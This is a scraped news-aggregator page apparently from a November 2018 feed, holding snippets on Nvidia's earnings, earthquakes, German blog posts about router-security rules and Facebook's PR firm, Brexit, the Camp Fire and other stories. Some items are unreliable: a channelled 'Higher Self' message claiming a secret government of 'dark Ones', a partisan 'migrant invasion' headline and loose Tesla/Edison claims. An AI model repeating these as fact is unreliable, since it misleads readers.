  • Net income of $1.23bn in that quarter, up 47 per cent year-on-year.
  • GAAP diluted earnings per share of $1.97, up 48 per cent year-on-year.

Nvidia missed forecasts because of a decline in what was formerly one of its most important growth markets cryptocurrency mining rigs. With Bitcoin and Ethereum declining in value, big mining rigs are less economic.

As CEO and cofounder Jensen Huang said in the company's media announcement: "Our near-term results reflect excess channel inventory post the crypto-currency boom, which will be corrected."

CFO Colette Kress told analysts on a conference call that GaaP gross margins grew 90 basis points year-on-year, reflecting "our continued shift towards higher-value platforms", but the crypto collapse meant Nvidia suffered a "$57mn charge for prior architecture and chips."

[...] The company's announcement noted that in the last year, there was "a 48 per cent jump over last year in the number of systems using NVIDIA GPU accelerators, climbing to 127, including the fastest in the world, No 1 in the US, No 1 in Europe and No 1 in Japan".

Was nice while it lasted. Now that Bitcoin has dropped from $19,500 to $5,500 over the past 11 months and other cryptocurrencies like Ethereum and Litecoin have seen drops of 80-90%, a one-time bright spot in NVIDIA's revenue stream has passed. How much of an opportunity is this for AMD?


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Science in the Palestinian territories struggles against all odds "IndyWatch Feed Allworld"

Travel restrictions and paltry funding in Palestine hamper researchers, who are trying to build a scientific base.

17:57

Fiery spectacle, large volcanic ash column after Mount Sakurajima eruption, Japan "IndyWatch Feed Allworld"

After several weeks of low to no activity, Sakurajima returned to its normal eruptive behavior with a strong explosion on November 13, 2018. The volcano erupted in a fiery spectacle, belching out a massive column of volcanic ash 4 km (13 120 feet) above sea level,...... Read more

Large asteroid impact crater found under Hiawatha Glacier, Greenland "IndyWatch Feed Allworld"

An international team of scientists announced a remarkable discovery of one of the youngest large asteroid impact craters on Earth. The crater is buried under 1 km (0.62 miles) of ice in a remote area of northwest Greenland. It is possible that the impact took place...... Read more

Strong and shallow M6.2 earthquake hits Solomon Islands "IndyWatch Feed Allworld"

A strong and shallow earthquake registered by the USGS as M6.2 hit near the Solomon Islands at 03:26 UTC on November 16, 2018. The agency is reporting a depth of 10.6 km (6.6 miles). EMSC is reporting M6.3 at a depth of 30 km (18.6 miles). The quake was initially...... Read more

Shallow M6.3 earthquake hits Southern East Pacific Rise "IndyWatch Feed Allworld"

A strong and shallow earthquake registered by the USGS as M6.3 hit Southern East Pacific Rise at 23:09 UTC on November 15, 2018. The agency is reporting a depth of 10 km (6.2 miles). EMSC is reporting the same magnitude and depth. There are no people living within...... Read more

For APECs poorest member, flashy cars point to another boondoggle "IndyWatch Feed Allworld"

The Asia Pacific Economic Cooperation (APEC) Summit that opens in Port Moresby this week is supposed to be a showcase of Papua New Guineas hosting, but the run-up to the event has been overshadowed by fast cars. Italian-made Maseratis, mostly 40 of them, flown in on specially chartered cargo flights as well as three Bentleys. At a reported $148,000 per Maserati, and an estimated freight cost of at least $1.2 million, this outlay by the poorest of the APEC member states has put the government of Prime Minister Peter ONeill in the spotlight. ONeills APEC minister, Justin Tkatchenko, has justified the move, saying in a statement that the cars will provide the level of carriage for [world] Leaders that is the standard for vehicles used at APEC Summits. He also said the cars would be paid for by the private sector, but gave no details. ONeill was reported as saying separately that they would be auctioned off after the summit. But the extravagant spending has struck a nerve in a country where basic infrastructure and services are severely lacking. Thousands took part in an Oct. 26 Maserati Strike, including public bus drivers in the northern city of Lae. The spending on the summit at large has come at the expense of the health system, the education system, rural infrastructure, law and order, government finances and the economy, and employment, Mekere Morauta, an opposition member of parliament, said in a statement. Gary Juffa, the governor of Oro province and

Activists urge end to South Korean funding of Indonesia coal plants "IndyWatch Feed Allworld"

JAKARTA Environmental activists in Indonesia have called on South Korean funders to withdraw their support for new coal-fired plants that they warn will be the most polluting in the Southeast Asian country. The Suralaya power complex, about 100 kilometers (60 miles) west of the capital, Jakarta, already has eight coal-fired plants in operation, churning out 3,400 megawatts, or 18 percent of the electricity for the islands of Java and Bali. The government plans to add two more plants, with a generating capacity of 1,000 MW each, as part of the infrastructure-centered economic development policy being pushed by the administration of President Joko Widodo. Funding for the new plants, billed at $1.67 billion, will come from loans from the Export-Import Bank of Korea (KEXIM), the Korea Development Bank (KDB Bank) and the Korea Trade Insurance Corporation (K-sure). Greenpeace Indonesia energy campaigner Didit Haryo said the group had sent an open letter appealing to the South Korean institutions to immediately withdraw their funding for the project. The impact of the new plants is too big and is very bad for their investments, he said. Were urging them to think about investing their money in renewable energy projects instead. Greenpeace Indonesia also sent the letter to the South Korean Embassy in Jakarta; none of the recipients had responded as of Nov. 9, Didit said. Suralaya coal power plants. Image by Satari/Wikimedia. Pollution problem The projects South Korean connection comes from the consortium picked to build the new plant, comprising Indonesian state-owned contractor

Tolle Idee: Das BSI mchte gerne Ampeln wie im Lebensmittelregal ... "IndyWatch Feed Allworld"

Tolle Idee: Das BSI mchte gerne Ampeln wie im Lebensmittelregal im Supermarkt auch bei Routern anbringen. Grn fr "ist sicher" oder so.

Grandiose Idee! Alles, was wir jetzt noch brauchen, ist ein Weg, wie wir erkennen, ob ein Router sicher ist!

Oh ich habe eine Idee! Freiwillige Selbstkontrolle! Wie beim CE-Logo! Die Hersteller verpflichten sich einfach, das ab jetzt alles richtig zu machen, und dann drfen sie das Logo aufdrucken. Fuck yeah! Ein weiterer erfolgreicher Arbeitstag fr BSI-Chef Arne Schnbohm!

Update: Mehr Details zu der Router-TR gibt es bei Golem. Erster Punkt: Die Hersteller mssen das Mindesthaltbarkeitsdatum (bis wann es garantiert Updates gibt) nicht auf die Verpackung drucken. Weil, h, wo kmen wir da hin. Wir wollen ja hier nichts wirklich verbessern. Wir wollen nur sagen knnen, wir htten uns gekmmert.

Ja gut, denkt ihr euch jetzt bestimmt, das muss man ja auch nicht auf die Verpackung drucken, wenn eh 5 Jahre vorgeschrieben sind oder so.

Wie bereits von Schnbohm Anfang Oktober besttigt, macht die TR keine zeitlichen Vorgaben fr einen Mindestsupport.
Natrlich nicht! Das wre zu einfach! Sie mssen nicht mal alle Sicherheitslcken schlieen, nur die mit CVSS-Wert grer 6. Das heit, dass sich Hersteller in der Praxis mit Diskussionen ber die Schwere und Exploitbarkeit von Bugs jahrelang aus der Verantwortung stehlen knnen und dann ist verjhrt. Tolle Wurst, liebes BSI! Oder, wie mein Kumpel Frank das formuliert hat:
Damit erfllt das BSI offenbar eine Forderung der Hersteller. Nach Angaben von Frank Rieger, Sprecher des Chaos Computer Clubs (CCC), sagten einige Hersteller zum Thema Mindesthaltbarkeitsdatum in den Beratungen der BSI-Arbeitsgruppe: "Wenn wir das draufschreiben, dann ist der Verkauf dieser Router ja nicht mehr wirtschaftlich."
JA DANN BAUT LIEBER GAR KEINE ROUTER! Die Verbraucherzentralen hatten brigens kostenfreie Sicherheitsupdates fr die gesamte tatschliche Nutzungsdauer digitaler Produkte gefordert. Daraus ist natrlich nichts geworden. Wir machen hier schlielich Wirtschaftsfrderung und in der Politik geht es um Arbeitspltze. Und nichts schafft so sicher Arbeitspltze wie wenn die Kunden alle paar Monate alles neukaufen mssen, weil die Hersteller keine Updates zur Verfgung stellen. Gut, die Arbeitspltze schafft das in China, nicht hier, aber wollen wir mal nicht ppstlicher als der Papst sein!

Der CCC hatte noch gefordert, dass man als Kunde auch eine eigene Firmware einspielen knnen muss. Das ist natrlich auch ignoriert worden.

Besonders peinlich f...

Kennt ihr den schon? Facebook beauftragt PR-Agentur, ... "IndyWatch Feed Allworld"

Kennt ihr den schon? Facebook beauftragt PR-Agentur, um Kritik an Facebook als Kampagne von George Soros darzustellen?

In October 2017, Facebook also expanded its work with a Washington-based consultant, Definers Public Affairs, that had originally been hired to monitor press coverage of the company. Founded by veterans of Republican presidential politics, Definers specialized in applying political campaign tactics to corporate public relations an approach long employed in Washington by big telecommunications firms and activist hedge fund managers, but less common in tech. []

Facebook also used Definers to take on bigger opponents, such as Mr. Soros, a longtime boogeyman to mainstream conservatives and the target of intense anti-Semitic smears on the far right. A research document circulated by Definers to reporters this summer, just a month after the House hearing, cast Mr. Soros as the unacknowledged force behind what appeared to be a broad anti-Facebook movement.

George Soros irgendwelche Dinge in die Schuhe zu schieben ist fr die Republikaner so selbstverstndlich wie es fr die Democrats ist, sich ber Trump aufzuregen. Der ist fr die der Traditions-Jude, der im Hintergrund steht und mit klandestinen Geldern Widerstand gegen Republikaner bezahlt, den es sonst nicht gegeben htte. Das ist sozusagen deren Dolchstolegende. Nein nein, die Leute mgen uns gar nicht wirklich mehrheitlich nicht. Das sind blo bezahlte Soros-Schauspieler.

Besonders geil: Mark Zuckerberg und Sheryl Sandberg wussten von nichts!!1! Ungeschlagen im Feld, betrogen von ihrem eigenen Kommunikationsteam!1!!

Ein Leser hat mir einen langen Leserbrief mit Hintergrnden ... "IndyWatch Feed Allworld"

Ein Leser hat mir einen langen Leserbrief mit Hintergrnden zur ACE-Konferenz geschickt, die das ganze in einem anderen Licht erscheinen lassen. Hier ist er:

zu der ACE-Geschichte noch ein paar Hintergruende:
  1. Der Organizer, Adrian Cheok, hat letztes Jahr auf der Foundations of Digital Games einen Vortrag gehalten, der auf der Konferenz und auf Twitter (relativ) sachlich kritisiert wurde. Die Kritik war definitiv links angehaucht, und das Thema "Love and sex with robots" ist wohl von Natur aus etwas kontroversiell, aber bei so einem Thema kann man damit rechnen, dass nicht alle auf einer Linie sein werden. Er ist daraufhin ziemlich entgleist und hat die Kritiker, und in weiterer Folge auch FDG persoenlich angegriffen (sowas wie "Even a 10 year old could understand my talk. SAD and DUMB!"). FDG hat sich dann von seiner Position distanziert und das war (soweit ich das mitbekommen habe) alles, was die Konferenz mit ihm zu tun hatte (und jetzt sind sie auf seiner naughty-list, obwohl sie mit der ACE Geschichte nix zu tun hatten). [1, 2]
  2. Das ACE steering committee hat dann, mit Cheok gemeinsam, beschlossen, dass es fuer das Image von ACE besser waere, wenn er zuruecktritt, und jemand anderes die Konferenz organisiert. Das hat er dann aber nicht gemacht, worauf der Rest des Steering Committees zurueckgetreten ist (das war im Fruehjahr dieses Jahres). Ausserdem haben einige von den Leuten, die als Reviewer auf der Website gestanden sind, gar nicht davon gewusst. Daraufhin hat es dann mal Fragen darueber gegeben, ob da ueberhaupt ordentlich reviewt wird. [3] Der Publisher hat dann auch irgendwann gemeint, sie koennen ordentliche reviews nicht garantieren, deshalb werden die proceedings nicht publiziert.
  3. Als neues Steering Committee Mitglied ist dann David Levy ernannt worden, der gerade in einen lawsuit verstrickt ist, weil er beschuldigt wird mit einer indiegogo Kampagne 500 000 GBP verdient zu haben ohne jemals was zu liefern/produzieren [4]. Gibt einige Leute, die darueber ziemlich veraergert sind, und alle (soweit ich das sehen kann) von den persoenlichen Angriffen gegen Levy kamen von einem einzigen Twitter account, der quasi ausschliesslich ueber diese indiegogo Geschichte wettert, und dann halt fuer mehr visibility auch den #boycottACE Hashtag zu verwenden begonnen hat [5]

Die ganze Konferenz war also schon eine shitshow bevor Bannon auch nur angekuendigt war. Ich war letztes Jahr auf der FDG und hab den Talk gesehen, und ganz abgesehen vom In...

Die USA haben Julian Assange angeklagt, aber die Anklage ... "IndyWatch Feed Allworld"

Die USA haben Julian Assange angeklagt, aber die Anklage versiegelt, damit es keiner merkt. Damit Assange wie ein paranoider Spinner aussieht, wenn er sagt, die Amis wollen ihn anklagen.

Das wissen wir, weil sie an anderer Stelle eine Aktennotiz vergessen haben.

The disclosure came in a filing in a case unrelated to Assange. Assistant U.S. Attorney Kellen S. Dwyer, urging a judge to keep the matter sealed, wrote that due to the sophistication of the defendant and the publicity surrounding the case, no other procedure is likely to keep confidential the fact that Assange has been charged. Later, Dwyer wrote the charges would need to remain sealed until Assange is arrested.
Einmal mit Profis arbeiten!

17:57

Bernards a twat and he always has been. "IndyWatch Feed Allworld"

The truth is, says Peter Hook, the bassist first in Joy Division and then New Order, Bernards a twat and he always has been. It would seem all is not well in the New Order camp. Indeed, calling the lead singer of your group someone youve been friends with since 1967 a twat would suggest there is no New Order camp.

Were a bunch of fat old men arguing, Hook says. Its pathetic really, but were all happy to keep on doing it. That it is not speaking to each other. In fact, it is agreeing there is no future for New Order at all, despite a new best-of the band are ostensibly promoting.

No, theres none, agrees drummer Stephen Morris, part of the trio doing their part of the interview separately from Hook. Theres no future for New Order. Its hard to draw a line under everything, but I think we have.Advertisement

Too many things have been said and done, nods Bernard Sumner, the twat of Hooks complaint. Weve spent all our life as an outfit with principles and ideals and what Peter Sumner makes a face like some appalling insect has just flown into his mouth has done goes against everything weve stood for.

So I put Hooks crimes to him. First, the rest of the band has a deep-seated problem with him buying the rights to the name and brand of the Haienda, the old Factory records nightclub, while he was still working with them. (The writing was on the wall from that point, Sumner had said.)

Hook laughs out loud, and doesnt stop for some time. Thats hilarious! Ive been going to weekly Haienda meetings since 1986 Bernards never been to one! Rob Gretton [the bands manager] knew we should buy the name and rights and I gave him 5,000 to do it. No one else was ever interested for 10 years until the first compilation album was released [The Best of New Order, in 1994]. Ber...

17:56

MEXICANS Grow Tired of Migrant Invasion Battle With Central American Migrants in Tijuana (VIDEO) "IndyWatch Feed Allworld"

BATTLES broke out on Thursday in Tijuana, Mexico as migrants continue to flood the border city with the US.

The migrants are invading the city on their way to the United States.

The crowd is singing the Mexican anthem!

The post MEXICANS Grow Tired of Migrant Invasion Battle With Central American Migrants in Tijuana (VIDEO) appeared first on The Gateway Pundit.

17:56

Bari Weiss politicizes Pittsburgh: US and Israeli Jews are all one people "IndyWatch Feed Allworld"

Bari Weiss, the conservative NYT opinion page editor, is a romantic Zionist. She believes passionately that Israel has united the Jewish people. Last night that passion overcame her when she said that you better believe that the leftwing non-Zionist Jewish group IfNotNow welcomed rightwing Israeli officials flying in to Pittsburgh to express condolences in the wake of the Oct. 27 massacre at the synagogue because all were expressing the unified spirit of Am Yisrael, the people of Israel.

IfNotNow has already rejected the absurd claim of political unity: we were not grateful to see Education Minister Naftali Bennett and ambassador Ron Dermer come to Pittsburgh, it said today. IfNotNow pointedly slammed Bennett at the time for his intolerance of refugees, attitudes it said the synagogue killer shared, and said that Bennett does not speak for American Jews.

Weisss comments came after Batya Ungar-Sargon of the Forward said on a panel in a New York temple last night that Israeli officials were gaslighting American Jews by flying into Pittsburgh and diverting blame from Donald Trump, when American Jews blame Trump, because American Jewish values are civil rights.

Bari Weiss then broke in.

Our values are other things other than civil rights, Batya. Our values are also the fact that we are alive for the Jewish return to political sovereignty the idea that we would celebrate that! Im sorry I was in Pittsburgh, Im from that community, I spent the week there, I was bat mitzvahed in that synagogue. I could not tell you even among the Jews who were showing up for IfNotNow and Bend the Arc and protesting Trump you better believe they liked the fact that Ron Dermer and Naftali Bennett showed up in the same way that Israeli officials show up after the shooting of a Hypercacher in France.

Its sending a message that we are all one, Am Yisrael [the people of Israel]. To politicize that I just think is wrong.

Ungar-Sargon responded that Bennetts fantasy of Israel has an apartheid component to it, on the West Bank.

IfNotNow is deadset against the Israeli occupation and Trumps policies on refugees. It is even more critical than Ungar-Sargon of Bennett and Dermer, both of whom sought to use the Pittsburgh massacre to demonize support for Palestinians.

Weisss need/desire to unify the Jewish community around the suffering in Pittsburgh obviously has a political component, despite her claims of non-politicizing. We should....

17:55

SOTT FOCUS: The Health & Wellness Show: The Importance of Vitamin B1: Thiamine "IndyWatch Feed Allworld"

Today we interview Health and Wellness Show co-host Elliot about the deep dive he's done recently on the topic of vitamin B1: Thiamine. In the mainstream health paradigm, thiamine deficiency is a thing of the past. The manifestations of vitamin B1 deficiency are termed 'beriberi' and it was widespread in Japan in the 19th century when people had switched to polished rice (white rice) for aesthetic reasons, removing the bran from the rice that contained B vitamins, which lead to deficiency. By fortifying foods with vitamin B1, the problem was thought to be solved. However, low grade thiamine deficiency may not lead to overt beriberi symptoms, and is a vastly under-recognized problem. According to the work of Dr Derrick Lonsdale and Chandler Marrs, in their book "Thiamine Deficiency Disease, Dysautonomia, and High Calorie Malnutrition", thiamine deficiency is extremely common in a whole host of people who suffer from a wide variety of diseases - so many, in fact, that the deficiency...

17:54

Graham Lee Brewer: The search for Native identity on city streets "IndyWatch Feed Allworld"

Tommy Orange deftly captures the urban-Indigenous experience in his debut novel, There There.

17:53

Saudi Attacks Leave Hodeida Hospital Inaccessible and 1,500 Pregnant Yemeni Women at Risk, UN Warns "IndyWatch Feed Allworld"

HODEIDA, YEMEN The United Nations Population Fund (UNFPA) recently warned that as many as 1,500 pregnant women in the besieged Yemeni port city of Hodeida are at risk of death now that the citys only hospital capable of providing emergency care services has become inaccessible due to the fighting.

In a statement issued Wednesday, UNFPAs Director for the Arab region, Dr. Luay Shabaneh, wrote that the agency feared that:

Among the 10,000 pregnant women caught in the fighting in Hodeida City, the lives of an estimated 1,500 who are likely to encounter complications during pregnancy and childbirth might be at risk as the citys only hospital [al-Thawra hospital] that can provide emergency care becomes inaccessible.

UN statement Yemen Hodeida

Shabaneh went on to note that the al-Thawra Hospital has been forced to take on the majority of Hodeidas civilians in need of medical assistance because health facilities across Hodeida are closed or functioning at minimum capacity, while others have been captured by the Saudi-led coalition. As a result, the hospitals neonatal care facility sees 400 to 500 deliveries per month, including more than 200 caesarian sections.

Without access to the hospital, over a thousand women likely to need caesarian sections, or other emergency care relating to childbirth and pregnancy complications, now face the risk of life-threatening complications, not to mention the risk to their unborn children.

Though fighting in the area seems to have temporar...

17:53

BREAKING: Lindsey Graham to Take Over as Chairman of Senate Judiciary Committee "IndyWatch Feed Allworld"


Senator Lindsey Graham

Senator Lindsey Graham (R-SC) is set to take over as Chairman of the Judiciary Committee following Chuck Grassleys move to Chair the Finance Committee.

Senator Chuck Grassley (R-IA) announced Friday he will be stepping down as Judiciary Chair.

Via The Hill:

Sen. Lindsey Graham (R-S.C.) is poised to become the chairman of the Senate Judiciary Committee after Sen. Chuck Grassley (R-Iowa) announced Friday that he would step down to take over the chairmanship of the Finance Committee.

The shuffle would put Graham, a close ally of President Trump who made headlines this fall with a forceful denunciation of Democrats during Brett Kavanaughs Supreme Court confirmation hearings, in charge of the panel handling judicial nominations.

Earlier this week, Senator Lindsey Graham said if he became the Chairman of the Judiciary Committee he would further investigate the FBIs botched probe of Hillary Clintons private server.

When asked by CNN on Tuesday if he would investigate the FBIs handling of the Russia investigation and Hillary Clintons botched email probe, Graham said, totally, adding, The oversight function will be very much front and center.

The post BREAKING: Lindsey Graham to Take Over as Chairman of Senate Judiciary Committee appeared first on The Gateway Pundit.

17:50

Oregons New Red Flag Laws Result In State Confiscating Nearly 50 Gun Owners Guns "IndyWatch Feed Allworld"

Oregons New Red Flag Laws Result In State Confiscating Nearly 50 Gun Owners Guns by Tim Brown Freedom Outpost If the goal is simply to get guns out of their hands, but fail to charge them with a crime,...

The post Oregons New Red Flag Laws Result In State Confiscating Nearly 50 Gun Owners Guns appeared first on The Daily Coin.

17:50

Mike Quinsey's Higher Self Message -- November 16, 2018 "IndyWatch Feed Allworld"



Source: Tree of the Golden Light

You are waiting for what has become to be known as the Event and in the higher realms it is seen as in the Now, and it is therefore difficult to put a date on it. At best it is possible to say that there is a probability it will occur quite soon, and within the period of the next 10 years. However, that should only be taken as a guide as things are constantly changing. It is unwise to hold fast to firm predictions even for such a great Cosmic Event, but be prepared for it to occur within most of your lifetimes. When the vibrations reach the inevitable high point Ascension will take place, and nothing will delay or prevent it. In the meantime it is therefore up to you as individuals to apply yourselves to the task of raising your vibrations so that you are ready for it and assured of going through.

It is wise to follow your intuition as information and news of general happenings is often only partially true or at times completely false. At this stage you do not necessarily need to know in depth as to what is really happening and rather concentrate on your immediate task of getting ready for Ascension. Having come this far it is unlikely that you will waver or lose control, but beware of being dragged into matters that are not in your interests. All kinds of things are happening, as the cleansing that is taking place is bringing matters to the surface to be cleared. It includes bringing the truth to light so that you will eventually truly be enlightened. The fact is that you have been living in a make believe era where little that is placed before you is the true reality. The dark Ones have for a long time controlled the News and hidden the real truth, and fed you distortions or even lies to stop you finding out what was really going on.

You have long had a secret government that has dictated to politicians and big business what they should do, and its main objective has to keep you in the dark. That way you would not find out the truth and at the same time would be kept in a state of need. However things are changing and it is getting harder for the truth to be concealed and that which was hidden is being revealed, along with the truth of how you have been fooled into believing you were free citizens, when in fact you have been the prisoners of the dark Ones. When the truth starts to come out there will....

17:45

Russia Has Made Clear That Status Quo of Syria Strikes Gone "IndyWatch Feed Allworld"

This week, multiple media reports alleged that the Israeli military was training to destroy Russian-made air defence systems, including the S-300s recently delivered to Syria. The reports followed an expression of hope by the US that Russia would allow Tel Aviv to resume its airstrikes against so-called Iranian targets in the Arab Republic. Moscows warnings []

17:43

Abrams Pondering Lawsuit Asking For Do-Over Of Election In Georgia "IndyWatch Feed Allworld"

And Gillum is still refusing to concede in Florida, despite the fact that its over there in his race, there are no more recounts. Florida and Georgia need to certify the races and have done with this nonsense. Via Daily Wire: Georgia Democratic gubernatorial candidate Stacey Abrams and her campaign, claiming that her loss to []

17:42

Protestors and police clash in Santiago de chile "IndyWatch Feed Allworld"

Clashes erupted as demonstrators protested over the police killing of a Mapuche man in Santiago on Thursday.

Protesters burned tyres and threw stones at police, while police fired tear gas and water cannons.

On Wednesday, 24-year-old Camilo Catrillanca was shot in the head during an operation against local car thieves.

Catrillanca was the grandson of a Mapuche indigenous leader

...

17:42

By solving a mystery of gene repair, scientists uncover an exception to biologys rules "IndyWatch Feed Allworld"


About 15 years ago, UNC Linebergers Dale Ramsden, Ph.D., was looking through a textbook with one of his students when they stumbled upon a scientific mystery.

A small line in the book indicated that a protein that helps major breaks in our did so by adding DNA, or deoxyribonucleic acid, as expected. However, there were hints that it could also add RNA, or ribonucleic acid, at least in a test tube. It seemed unlikely that this would occur during repair of DNA in living , since RNA is normally used only as a messenger to carry information from the genetic code to make proteins.

You would think they must only add DNA during repair of our genetic code, because thats the core of the central dogma of life; genetic information has to be DNA all the time, said Ramsden, who is a professor in the UNC School of Medicine Department of Biochemistry and Biophysics. Thats the way its supposed to be. Thats what were taught in school.

17:41

Casualties of American Democracy: Trump Serves Up Immigrants as Scapegoats "IndyWatch Feed Allworld"

By Henry Kamens for Veterans Today and New Eastern Outlook, Moscow One thing that is most predicated about the American political landscape is the pack-of-lies that flows before elections, especially under the Trump administration. We have heard so many recently that most have even stopped trying to separate the truths and half truths from the []

17:40

US preparing criminal case against Assange "IndyWatch Feed Allworld"

In an apparent accidental revelation it appears that the US are preparing to indict Julian Assange on criminal charges. Assenge has been confined to the Ecudors Embassy in London since 2012 where he received political asylum to protect him from facing charges against him in Sweden. Assange headed Wikileaks, released hacked Hillary Clinton emails during []

17:39

Trump Caught Again, the Politics of Distraction (video) "IndyWatch Feed Allworld"

Russia Today: When Donald Trump and CNNs Jim Acosta clashed at a White House news conference, both behaved so badly it was hard to pick sides, which poses a dilemma in the current day when its essential to have an opinion. However, instead of everyone accepting some blame and moving on, Trumps team decided to []

17:34

(Video) Tesla vs. Edison -- The War of the Currents "IndyWatch Feed Allworld"



Published on Nov 16, 2018

TESLA vs EDISON ~ The War of the Currents

The war of the currents was a series of events surrounding the introduction of direct current electricity (DC) Thomas Edison invention based Edison Electric Light Company and the alternating current (AC) Nikola Tesla invention based Westinghouse Electric Company. It included commercial competition, a debate over electrical safety, and a nasty media propaganda campaign led by Edison.

This historical event helped inspire the band name AC/DC.

Thomas Edison was an American inventor and businessman, who has been described as America's greatest inventor, and most people would argue that Nikola Tesla was the greatest inventor that the world has ever known.

We were taught that Edison had invented the light bulb, but the truth is that he had purchased the patent from Henry Woodward and Matthew Evans in 1880 and then he hired a team to help him perfect the patent that he made a fortune on. He did however invent the electric chair and apparently had a fetish for electrocuting living animals and people.

It all started in 1882 when Thomas Edison invented the DC or direct current electrical power system.

Eventually he hired a young Serbian genius man named Nikola Tesla to help him improve his electrical device.

While working for Edison, Tesla discovered how to make his own electrical power system and began building an alternating current system that used a transformer to step up voltage for long-distance transmission and then stepped it back down for indoor lighting, a more efficient and less expensive system that directly competed to the Edison DC electricity system.

In brief: AC electricity can travel much further distances than direct current DC. Without AC electricity we would need massive nuclear powerplants in every city throughout the world.
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17:33

sordid affair "IndyWatch Feed Allworld"

Ryksopp are a Norwegian electronic music duo from Troms

17:31

Crunch time for Brexit "IndyWatch Feed Allworld"

On Monday, BBC journalist Chris Mason summed up the state of Brexit talks with a blunt admission. People like me are paid ... to have insight and foresight and hindsight about these things, he said. Looking at things right now, I havent got the foggiest idea what is going to happen in the coming weeks.By Wednesday evening, there was only slightly more clarity. British Prime Minister Theresa May announced that her cabinet had, following a long, detailed and impassioned debate, agreed on a draft withdrawal plan with the European Union.

The outlines of the divorce were finalized with E.U. counterparts earlier this week following months of fitful negotiations.May framed the days developments as a decisive step toward an orderly separation from the European Union, hoping to assuage fears that Britain could exit the continental bloc without any deal in place. The draft agreement, which is hundreds of pages long, leaves open the possibility that Britain could remain indefinitely in a customs union with the European Union. It also has provisions preventing a hard border between Ireland and Northern Ireland, one of the biggest sticking points in the talks.In a news conference in Brussels, Michel Barnier, the E.U.s chief negotiator on Brexit, welcomed signs of progress in London.

The United Kingdom will remain our friend, our partner, our ally, Barnier added.Even so, Brexit is hardly a fait accompli. Whatever happens, this deal is just the first stage of the lengthy process of ratifying Britains withdrawal from the E.U. To follow are negotiations over Britains future trade, security and econom...

17:30

A Chance to Vote for Universal Basic Income "IndyWatch Feed Allworld"

People who think the antidote to Donald Trump is a boring generic Democrat missed the point. He is a sign of massive institutional failure, on both sides. -- Andrew Yang

17:30

Why Taliban Kill Hazara People "IndyWatch Feed Allworld"

Nazar Mohammad Mutmaeen, VT Kabul It almost one week that the domestic and international media publish reports on Taliban genocide of Hazara people in Malistan, Jaghori and Khas Uruzgan areas of Afghanistan; and the similar concern is expressed by Western embassies as well as Iranian embassy in Kabul. During last 17 years, the US and []

17:30

Turning A Rotary Tool Into A CNC "IndyWatch Feed Allworld"

Now that 3D printers are everywhere, electronics are cheap, and open source software is extremely capable, just about anyone can build a CNC machine. Thats exactly what [Nikodem] did by turning a Dremel tool into an extremely capable CNC machine thats able to cut MDF and acrylic and can engrave aluminum.

The electronics for the build are just an Arduino Uno, a motor driver sheld running GRBL, a relay for the Dremel, a few motor drivers, and a big ol 30 A power supply. The build uses NEMA 17 motors, two on the Y-axis and one each on the X and Z. The CNC has a fantastically strong frame despite the 3D printed parts. It is constructed out of aluminum extrusion, with the carriages riding on some nice straight rods.

As for how well this CNC machine works, its pretty good. With the Gcode to cut an 80mm diameter circle out of MDF, this machine managed to cut a circle that was 80.02 mm in diameter. Thats pretty good, and getting into the territory that the error is probably in the cheap set of calipers, not the finished part itself. Its an awesome build, and [Nikodem] has everything documented in his four-part video series. You can check the end of that out below.

17:29

Total War: WARHAMMER II Launching For Linux Next Week "IndyWatch Feed Allworld"

Feral Interactive has just announced that Total War: WARHAMMER II will be released for Linux (and macOS) next week...

17:29

North Korea: Denuclearization in Reverse "IndyWatch Feed Allworld"

Summary

North Korean leader Kim Jong-Un presided over the testing of a newly developed hi-tech tactical weapon on Friday. Little is known about the weapon being tested, but it appears that it wasnt a new missile or nuclear platform.

Like everything in the DPRKs state-controlled media, there was a subtext here intended for some target audience. This time the message was for the Trump administration: grant new concessions or risk a return to the brinkmanship of last year.

The message appears to have been received. Today, Vice President Mike Pence announced that the United States would be dropping its demand of a list of North Korean nuclear and missile sites ahead of a second summit scheduled for early next year.

The writing had always been on the wall that the Trump administration was investing too much of its own political and diplomatic capital in a process that was almost certain to fail. But only now are we seeing this dynamic start to play out at the negotiating table in a way that is, unsurprisingly, highly favorable for the North Koreans.

The post North Korea: Denuclearization in Reverse appeared first on Geopolitical Monitor.

17:29

Fire Death Toll Hits 63, With Hundreds Still Missing "IndyWatch Feed Allworld"

CHICO, Calif. At least 63 people are now dead from a Northern California wildfire, and officials say they have a missing persons list with 631 names on it in an ever-evolving accounting of the victims of the nations deadliest wildfire in a century.

The high number of missing people probably includes some who fled the blaze and dont realize theyve been reported missing, Butte County Sheriff Kory Honea said. He said hes making the list public so people can see if they are on it and let authorities know they survived.

The chaos that we were dealing with was extraordinary, Honea said of the early crisis hours last week. Now were trying to go back out and make sure that were accounting for everyone.

Some 52,000 people have been displaced to shelters, the homes of friends and relatives, to motels and to a Walmart parking lot and an adjacent field in Chico, a dozen miles away from the ashes.

At the vast shelter parking lot, evacuees from Californias deadliest fire wonder if they still have homes, if their neighbors are still alive and where they will go when their place of refuge shuts down in a matter of days.

Its cold and scary, said Lilly Batres, 13, one of the few children there, who fled with her family from the forested town of Magalia and didnt know whether her home survived. I feel like people are going to come into our tent.

The Northern California fire that began a week earlier obliterated the town of Paradise. Searchers have pulled bodies from incinerated homes and cremated cars, but in many cases, the victims may have been reduced to bits of bones and ash. The latest toll: 63 dead and 9,800 homes destroyed.

At the other end of the state, more residents were being allowed back into the zone of a wildfire that torched an area the size of Denver west of Los Angeles. The fire was 62 percent contained after destroying nearly 550 homes and other buildings. At least three deaths were reported.

Air quality across large swaths of California remains so poor due to huge plumes of smoke that schools from Sacramento to the Pacific Coast were closed on Friday, and San Franciscos iconic open-air cable cars were pulled off the streets.

Northern Californias Camp Fire was 40 percent contained Thursday, but there was no timeline for allowing evacuees to return because of the danger. Power lines are still down, roads closed, and firefighters are still dousing embers, authorities said.

Anna Goodnight of Paradise tried to make the best of it, sitting on an overturned shopping cart in the parking lot and eating scrambled eggs and tater tots while her husband drank a Budweiser.

But then William Goodnight began to....

17:29

PERTH Magistrates court wa "IndyWatch Feed Allworld"

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17:27

Mexico president-elect will continue to lean on military "IndyWatch Feed Allworld"

MEXICO CITY (AP) President-elect Andres Manuel Lopez Obrador said Wednesday he will continue to rely heavily on the military for internal security and appeared to dismiss aspirations of Mexico someday having effective civilian police forces.

In announcing his security plan for the next six years, Lopez Obrador said he would seek a constitutional change for the creation of a 50,000-strong National Guard initially composed of members of the army, navy and federal police that would be operational within three years.

Mexicos previous two administrations have relied heavily on the military to combat drug cartels and perform policing duties, in some cases after local police forces deemed deeply corrupt were disbanded.

